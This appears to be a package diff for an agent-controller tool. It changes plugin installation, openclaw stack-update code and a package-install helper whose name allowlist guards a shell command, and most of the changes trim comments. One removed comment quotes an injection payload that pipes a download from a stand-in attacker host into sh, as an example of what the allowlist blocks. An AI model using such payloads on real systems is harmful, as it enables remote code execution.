|
|
146
|
+
* Probe CLI once: plugins.installs can omit bundled/discovered plugins and force needless reinstalls.
|
|
147
|
+
* If inventory fails, try installs anyway; isolate each failure so one plugin cannot abort the batch.
|
|
232
148
|
*/
|
|
233
149
|
export async function installPlugins(plugins) {
|
|
234
150
|
const result = { installed: [], skipped: [], failed: [] };
|
|
@@ -260,14 +176,6 @@ export async function installPlugins(plugins) {
|
|
|
260
176
|
}
|
|
261
177
|
return result;
|
|
262
178
|
}
|
|
263
|
-
/**
|
|
264
|
-
* Install a specific agent-controller version globally. Caller passes the
|
|
265
|
-
* known current version (typically derived from package.json at boot). This
|
|
266
|
-
* lets us avoid a redundant npm install when the WS payload echoes the
|
|
267
|
-
* version we already run.
|
|
268
|
-
*
|
|
269
|
-
* Returns `true` when the install ran, `false` when skipped.
|
|
270
|
-
*/
|
|
271
179
|
export async function installAcSelf(version, currentVersion) {
|
|
272
180
|
if (currentVersion === version)
|
|
273
181
|
return false;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"openclaw-ops.js","sourceRoot":"","sources":["../../src/utils/openclaw-ops.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"openclaw-ops.js","sourceRoot":"","sources":["../../src/utils/openclaw-ops.ts"],"names":[],"mappings":"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"}
|
|
@@ -1,31 +1,19 @@
|
|
|
1
1
|
import { type InstallPluginsResult } from './openclaw-ops.js';
|
|
2
2
|
export interface OpenclawStackUpdateOptions {
|
|
3
|
-
/** openclaw runtime version to install. Omit to only touch plugins. */
|
|
4
3
|
version?: string;
|
|
5
4
|
plugins?: Array<{
|
|
6
5
|
id: string;
|
|
7
6
|
version: string;
|
|
8
7
|
}>;
|
|
9
|
-
/**
|
|
10
|
-
* Prefix for the emitted logCollector events (`self_update`, `agent_update`,
|
|
11
|
-
* `agent_update_cli`). Kept per-caller so backend log queries can still tell
|
|
12
|
-
* a self-update apart from an agent-update.
|
|
13
|
-
*/
|
|
8
|
+
/** Keep caller-specific event prefixes so backend queries distinguish self-update from agent-update. */
|
|
14
9
|
eventPrefix: string;
|
|
15
|
-
/** Extra fields merged into every emitted event (e.g. `{ commandId }`). */
|
|
16
10
|
meta?: Record<string, unknown>;
|
|
17
11
|
}
|
|
18
12
|
export interface OpenclawStackUpdateResult {
|
|
19
13
|
runtimeChanged: boolean;
|
|
20
14
|
pluginSummary?: InstallPluginsResult;
|
|
21
|
-
/** True only when a restart was attempted AND succeeded. */
|
|
22
15
|
gatewayRestarted: boolean;
|
|
23
|
-
/** Set when a restart was attempted and failed (best-effort — not fatal). */
|
|
24
16
|
restartError?: string;
|
|
25
17
|
}
|
|
26
|
-
/**
|
|
27
|
-
* Throws whatever `installOpenclaw` / `installPlugins` throw — per-plugin
|
|
28
|
-
* failures are reported inside `pluginSummary`, not raised. A failed gateway
|
|
29
|
-
* restart is never thrown: the install already landed, so it is a warning.
|
|
30
|
-
*/
|
|
18
|
+
/** Restart failures remain warnings because installation already succeeded. */
|
|
31
19
|
export declare function runOpenclawStackUpdate(opts: OpenclawStackUpdateOptions): Promise<OpenclawStackUpdateResult>;
|
|
@@ -2,11 +2,7 @@ import { installOpenclaw, installPlugins } from './openclaw-ops.js';
|
|
|
2
2
|
import { restartGateway } from './gateway-restart.js';
|
|
3
3
|
import { logCollector } from '../connection.js';
|
|
4
4
|
import { toErrorMessage } from './response.js';
|
|
5
|
-
/**
|
|
6
|
-
* Throws whatever `installOpenclaw` / `installPlugins` throw — per-plugin
|
|
7
|
-
* failures are reported inside `pluginSummary`, not raised. A failed gateway
|
|
8
|
-
* restart is never thrown: the install already landed, so it is a warning.
|
|
9
|
-
*/
|
|
5
|
+
/** Restart failures remain warnings because installation already succeeded. */
|
|
10
6
|
export async function runOpenclawStackUpdate(opts) {
|
|
11
7
|
const { version, plugins, eventPrefix, meta = {} } = opts;
|
|
12
8
|
const push = (event, level, msg, data = {}) => {
|
|
@@ -32,7 +28,6 @@ export async function runOpenclawStackUpdate(opts) {
|
|
|
32
28
|
failed: pluginSummary.failed,
|
|
33
29
|
});
|
|
34
30
|
}
|
|
35
|
-
// One restart per invocation, no matter how many things changed.
|
|
36
31
|
const anyChanged = runtimeChanged || (pluginSummary?.installed.length ?? 0) > 0;
|
|
37
32
|
if (!anyChanged)
|
|
38
33
|
return { runtimeChanged, pluginSummary, gatewayRestarted: false };
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"openclaw-stack-update.js","sourceRoot":"","sources":["../../src/utils/openclaw-stack-update.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,eAAe,EAAE,cAAc,EAA6B,MAAM,mBAAmB,CAAC;AAC/F,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;
|
|
1
|
+
{"version":3,"file":"openclaw-stack-update.js","sourceRoot":"","sources":["../../src/utils/openclaw-stack-update.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,eAAe,EAAE,cAAc,EAA6B,MAAM,mBAAmB,CAAC;AAC/F,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAiB/C,+EAA+E;AAC/E,MAAM,CAAC,KAAK,UAAU,sBAAsB,CAC1C,IAAgC;IAEhC,MAAM,EAAE,OAAO,EAAE,OAAO,EAAE,WAAW,EAAE,IAAI,GAAG,EAAE,EAAE,GAAG,IAAI,CAAC;IAC1D,MAAM,IAAI,GAAG,CAAC,KAAa,EAAE,KAAsB,EAAE,GAAW,EAAE,OAAe,EAAE,EAAQ,EAAE;QAC3F,YAAY,EAAE,IAAI,CAAC,GAAG,WAAW,IAAI,KAAK,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,GAAG,IAAI,EAAE,GAAG,IAAI,EAAE,CAAC,CAAC;IAClF,CAAC,CAAC;IAEF,IAAI,cAAc,GAAG,KAAK,CAAC;IAC3B,IAAI,OAAO,EAAE,CAAC;QACZ,cAAc,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;QAChD,IAAI,CACF,cAAc,CAAC,CAAC,CAAC,mBAAmB,CAAC,CAAC,CAAC,iBAAiB,EACxD,MAAM,EACN,cAAc;YACZ,CAAC,CAAC,iCAAiC,OAAO,EAAE;YAC5C,CAAC,CAAC,+BAA+B,OAAO,EAAE,EAC5C,EAAE,OAAO,EAAE,CACZ,CAAC;IACJ,CAAC;IAED,IAAI,aAA+C,CAAC;IACpD,IAAI,OAAO,EAAE,MAAM,EAAE,CAAC;QACpB,IAAI,CAAC,sBAAsB,EAAE,MAAM,EAAE,cAAc,OAAO,CAAC,MAAM,YAAY,EAAE;YAC7E,WAAW,EAAE,OAAO,CAAC,MAAM;SAC5B,CAAC,CAAC;QACH,aAAa,GAAG,MAAM,cAAc,CAAC,OAAO,CAAC,CAAC;QAC9C,IAAI,CACF,qBAAqB,EACrB,aAAa,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,EACjD,4BAA4B,aAAa,CAAC,SAAS,CAAC,MAAM,cAAc;YACtE,GAAG,aAAa,CAAC,OAAO,CAAC,MAAM,aAAa,aAAa,CAAC,MAAM,CAAC,MAAM,SAAS,EAClF;YACE,SAAS,EAAE,aAAa,CAAC,SAAS;YAClC,OAAO,EAAE,aAAa,CAAC,OAAO;YAC9B,MAAM,EAAE,aAAa,CAAC,MAAM;SAC7B,CACF,CAAC;IACJ,CAAC;IAED,MAAM,UAAU,GAAG,cAAc,IAAI,CAAC,aAAa,EAAE,SAAS,CAAC,MAAM,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC;IAChF,IAAI,CAAC,UAAU;QAAE,OAAO,EAAE,cAAc,EAAE,aAAa,EAAE,gBAAgB,EAAE,KAAK,EAAE,CAAC;IAEnF,IAAI,CAAC;QACH,MAAM,cAAc,EAAE,CAAC;QACvB,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,+CAA+C,CAAC,CAAC;QACnF,OAAO,EAAE,cAAc,EAAE,aAAa,EAAE,gBAAgB,EAAE,IAAI,EAAE,CAAC;IACnE,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,KAAK,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAClC,IAAI,CACF,wBAAwB,EACxB,MAAM,EACN,uDAAuD,KAAK,EAAE,EAC9D,EAAE,KAAK,EAAE,CACV,CAAC;QACF,OAAO,EAAE,cAAc,EAAE,aAAa,EAAE,gBAAgB,EAAE,KAAK,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC;IACzF,CAAC;AACH,CAAC"}
|
|
@@ -6,9 +6,4 @@ export interface InstallOnePackageResult {
|
|
|
6
6
|
ok: boolean;
|
|
7
7
|
error?: string;
|
|
8
8
|
}
|
|
9
|
-
/**
|
|
10
|
-
* Install a single package via the named manager. Validates the package
|
|
11
|
-
* name against the allowlist regex first; never reaches the shell with an
|
|
12
|
-
* unsafe name.
|
|
13
|
-
*/
|
|
14
9
|
export declare function installOnePackage(manager: PackageManager, pkg: string, timeoutMs?: number): Promise<InstallOnePackageResult>;
|
|
@@ -1,21 +1,7 @@
|
|
|
1
1
|
import { execAsync } from './exec.js';
|
|
2
2
|
import { toErrorMessage } from './response.js';
|
|
3
|
-
//
|
|
4
|
-
|
|
5
|
-
// - src/handlers/package-install.ts (WS handler)
|
|
6
|
-
// - src/commands/package-install-cli.ts (CLI)
|
|
7
|
-
//
|
|
8
|
-
// Security model: regex allowlist on package names rather than an enum of
|
|
9
|
-
// blessed packages. We accept characters that are valid in real package
|
|
10
|
-
// names on apt/npm/pip and reject every shell metacharacter so that a
|
|
11
|
-
// payload like "foo; curl evil.com | sh" cannot reach the shell.
|
|
12
|
-
// ---------------------------------------------------------------------------
|
|
13
|
-
export const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
|
|
14
|
-
/**
|
|
15
|
-
* Allowed: letters, digits, @, ., _, /, -, +, :, %, [, ], ^, ~, =, comma, *
|
|
16
|
-
* (covers npm scopes, semver ranges like "pkg@^1.2", apt epoch prefixes
|
|
17
|
-
* like "2:pkg", pip extras "pkg[extra]")
|
|
18
|
-
*/
|
|
3
|
+
// Names reach a shell; the allowlist must support real package syntax while excluding shell metacharacters.
|
|
4
|
+
export const INSTALL_TIMEOUT_MS = 300_000;
|
|
19
5
|
const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
|
|
20
6
|
export function isSafePackageName(name) {
|
|
21
7
|
return SAFE_PACKAGE_NAME_RE.test(name);
|
|
@@ -30,11 +16,6 @@ export function buildInstallCommand(manager, pkg) {
|
|
|
30
16
|
return `pip install ${pkg}`;
|
|
31
17
|
}
|
|
32
18
|
}
|
|
33
|
-
/**
|
|
34
|
-
* Install a single package via the named manager. Validates the package
|
|
35
|
-
* name against the allowlist regex first; never reaches the shell with an
|
|
36
|
-
* unsafe name.
|
|
37
|
-
*/
|
|
38
19
|
export async function installOnePackage(manager, pkg, timeoutMs = INSTALL_TIMEOUT_MS) {
|
|
39
20
|
if (!isSafePackageName(pkg)) {
|
|
40
21
|
return { ok: false, error: 'Invalid package name: contains disallowed characters' };
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/utils/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AACtC,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAE/C,
|
|
1
|
+
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/utils/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AACtC,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAE/C,4GAA4G;AAE5G,MAAM,CAAC,MAAM,kBAAkB,GAAG,OAAO,CAAC;AAE1C,MAAM,oBAAoB,GAAG,iCAAiC,CAAC;AAI/D,MAAM,UAAU,iBAAiB,CAAC,IAAY;IAC5C,OAAO,oBAAoB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACzC,CAAC;AAED,MAAM,UAAU,mBAAmB,CAAC,OAAuB,EAAE,GAAW;IACtE,QAAQ,OAAO,EAAE,CAAC;QAChB,KAAK,KAAK;YACR,OAAO,sBAAsB,GAAG,EAAE,CAAC;QACrC,KAAK,KAAK;YACR,OAAO,kBAAkB,GAAG,EAAE,CAAC;QACjC,KAAK,KAAK;YACR,OAAO,eAAe,GAAG,EAAE,CAAC;IAChC,CAAC;AACH,CAAC;AAOD,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,OAAuB,EACvB,GAAW,EACX,YAAoB,kBAAkB;IAEtC,IAAI,CAAC,iBAAiB,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,sDAAsD,EAAE,CAAC;IACtF,CAAC;IACD,IAAI,CAAC;QACH,qEAAqE;QACrE,gFAAgF;QAChF,MAAM,SAAS,CAAC,mBAAmB,CAAC,OAAO,EAAE,GAAG,CAAC,EAAE,SAAS,CAAC,CAAC;QAC9D,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC;IACtB,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;IACnD,CAAC;AACH,CAAC"}
|